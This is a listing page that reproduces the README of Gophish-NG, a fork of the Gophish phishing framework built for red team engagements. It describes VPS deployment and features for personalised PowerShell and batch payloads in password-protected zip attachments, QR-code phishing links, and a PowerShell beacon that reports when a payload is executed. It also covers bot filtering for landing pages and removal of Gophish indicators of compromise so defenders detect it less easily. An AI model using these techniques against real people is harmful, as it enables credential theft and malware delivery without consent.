GitHub RadarRed team tool
Make Gophish great again Primary language: Go. 11 stars.
Project links:Open GitHub projectBack to radar
Gophish-NG is a fork of the open-source Gophish phishing toolkit, extended with additional capabilities for red team engagements.
For a full production deployment on a fresh Ubuntu/Debian VPS — including nginx reverse proxy, Let's Encrypt TLS certificates, and a systemd service — use the included setup script:
sudo bash setup_vps.shThe script is interactive and will ask for:
What it does automatically:
master branchconfig.json (admin on 127.0.0.1:3333, phish on 127.0.0.1:5555)gophish system user and a systemd serviceAfter setup, access the admin panel via an SSH tunnel:
ssh -L 3333:127.0.0.1:3333 user@<VPS_IP>
# then open https://localhost:3333 in your browserDefault credentials are printed in the service log:
journalctl -u gophish | grep "Please login"---
Requires Go v1.10 or above.
git clone https://github.com/OppressionBreedsResistance/gophish-ng.git
cd gophish-ng
go buildRun the binary and open a browser at https://localhost:3333. Login credentials are printed on first run:
time="2020-07-29T01:24:08Z" level=info msg="Please login with the username admin and the password 4304d5255378177d"This fork includes the following changes on top of the upstream Gophish codebase:
{{.URL}}, {{.FirstName}}, etc.), the same way .txt and .html files do..zip archive is used as an attachment, Gophish-NG unpacks it in memory, applies template substitution to any .ps1, .bat, .pdf (and .xml/.rels) files inside, and repacks it before sending.payload.ps1, with any placeholders: $url = "{{.URL}}"
$name = "{{.FirstName}}"-mem=AES256)..zip file..zip with a personalized .ps1 inside, protected by the same password.---
Use {{.QR}} in any email template to embed a per-recipient QR code that links to the phishing URL.
keyname parameter).Example:
<p>Scan the QR code below to access the document:</p>
{{.QR}}---
A new event type "Clicked Attachment" tracks when a recipient executes the delivered payload.
{{.URL}}/attachment?keyname={{.RId}} on execution.Example beacon in PowerShell:
Invoke-WebRequest -Uri "{{.URL}}/attachment?keyname={{.RId}}" -UseBasicParsing | Out-Null---
When Host Attachment is enabled on a campaign, the attachment is served directly from the phishing server rather than embedded in the email.
static/endpoint/attachments/<campaignId>/<RId>/.ps1, .bat, .pdf, and password-protected .zip---
Optional bot protection layer that silently verifies every visitor is a real browser before they can access any landing page or hosted attachment.
To enable, add your Cloudflare Turnstile keys to config.json:
"turnstile": {
"site_key": "YOUR_SITE_KEY",
"secret_key": "YOUR_SECRET_KEY"
}Leave both fields empty to disable (default). See the Turnstile docs for full setup instructions.
---
The following Gophish-specific indicators of compromise have been removed or replaced:
| What | Original value | New value | |------|----------------|-----------| | Email header | X-Gophish-Contact | X-Contact | | Webhook header | X-Gophish-Signature | X-Signature | | Server name / X-Mailer | gophish | (omitted) | | Recipient URL parameter | rid | keyname | | 404 response | Go default | Custom page |
Note: Tracking links use?keyname=...instead of?rid=.... Update landing pages and any external tooling accordingly.
---
---
Gophish - Open-Source Phishing Framework
The MIT License (MIT)
Copyright (c) 2013 - 2020 Jordan Wright
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software ("Gophish Community Edition") and associated documentation
files (the "Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish, distribute,
sublicense, and/or sell copies of the Software, and to permit persons to whom
the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.